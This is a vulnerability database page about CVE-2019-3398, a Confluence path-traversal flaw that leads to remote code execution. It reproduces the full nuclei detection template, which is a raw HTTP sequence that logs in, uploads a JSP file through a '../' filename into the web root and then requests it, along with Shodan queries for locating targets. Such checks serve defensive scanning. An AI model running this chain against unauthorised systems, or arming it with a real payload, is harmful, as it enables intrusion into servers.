HexBrain

Browse / CVEs / CVE-2019-3398

CVE-2019-3398· atlassian / confluence· CWE-22

Atlassian Confluence Download Attachments - Remote Code Execution

Exploited in the wild. Listed by CISA on 2021-11-03; known to be used by ransomware.

highseverity
8.8CVSS score
97%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

Confluence Server and Data Center had a path traversal vulnerability in the downloadallattachments resource. A remote attacker who has permission to add attachments to pages and / or blogs or to create a new space or a personal space or who has 'Admin' permissions for a space can exploit this path traversal vulnerability to write files to arbitrary locations which can lead to remote code execution on systems that run a vulnerable version of Confluence Server or Data Center.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.

Fix

Apply the latest security patches provided by Atlassian to fix the vulnerability.

How to confirm it

Send: POST /dologin.action ; GET /pages/createpage.action ; POST /plugins/drag-and-drop/upload.action?draftId={{draftID}}&filename=../../../../../../opt/atlassian/confluence/confluence/pages/{{randstr}}.jsp&size=8&mimeT… ; GET /pages/downloadallattachments.action?pageId={{draftID}} ; GET /pages/{{randstr}}.jsp
Positive when: contains in body_5 "{{result}}"

Run it with nuclei: nuclei -id CVE-2019-3398 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2019-3398

info:
  name: Atlassian Confluence Download Attachments - Remote Code Execution
  author: rootxharsh,iamnoooob,pdresearch
  severity: high
  description: |
    Confluence Server and Data Center had a path traversal vulnerability in the downloadallattachments resource. A remote attacker who has permission to add attachments to pages and / or blogs or to create a new space or a personal space or who has 'Admin' permissions for a space can exploit this path traversal vulnerability to write files to arbitrary locations which can lead to remote code execution on systems that run a vulnerable version of Confluence Server or Data Center.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
  remediation: |
    Apply the latest security patches provided by Atlassian to fix the vulnerability.
  reference:
    - https://blogs.juniper.net/en-us/threat-research/cve-2019-3398-atlassian-confluence-download-attachments-remote-code-execution
    - https://nvd.nist.gov/vuln/detail/CVE-2019-3398
    - http://packetstormsecurity.com/files/152616/Confluence-Server-Data-Center-Path-Traversal.html
    - http://packetstormsecurity.com/files/155245/Atlassian-Confluence-6.15.1-Directory-Traversal.html
    - https://jira.atlassian.com/browse/CONFSERVER-58102
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2019-3398
    cwe-id: CWE-22
    epss-score: 0.97028
    epss-percentile: 0.9989
    cpe: cpe:2.3:a:atlassian:confluence:*:*:*:*:*:*:*:*
  metadata:
    max-request: 5
    vendor: atlassian
    product: confluence
    shodan-query:
      - http.component:"atlassian confluence"
      - cpe:"cpe:2.3:a:atlassian:confluence"
  tags: cve,cve2019,packetstorm,atlassian,confluence,rce,authenticated,intrusive,kev,vkev,vuln
variables:
  num1: "{{rand_int(800000, 999999)}}"
  num2: "{{rand_int(800000, 999999)}}"
  result: "{{to_number(num1)*to_number(num2)}}"

http:
  - raw:
      - |
        POST /dologin.action HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        os_username={{username}}&os_password={{password}}&login=Log%2Bin&os_destination=
      - |
        GET /pages/createpage.action HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /plugins/drag-and-drop/upload.action?draftId={{draftID}}&filename=../../../../../../opt/atlassian/confluence/confluence/pages/{{randstr}}.jsp&size=8&mimeType=text%2Fplain&atl_token={{csrftoken}} HTTP/1.1
        Host: {{Hostname}}

        ${{{num1}}*{{num2}}}
      - |
        GET /pages/downloadallattachments.action?pageId={{draftID}} HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /pages/{{randstr}}.jsp HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    max-redirects: 2

    matchers-condition: and
    matchers:
      - type: word
        part: body_5
        words:
          - "{{result}}"

    extractors:
      - type: regex
        name: csrftoken
        group: 1
        regex:
          - 'name="atlassian\-token" content="([a-z0-9]+)"> '
        internal: true
        part: body

      - type: regex
        name: draftID
        group: 1
        regex:
          - 'ta name="ajs\-draft\-id" content="([0-9]+)">'
        internal: true
        part: body

References

Use this check only on systems you are authorised to test. Where the data comes from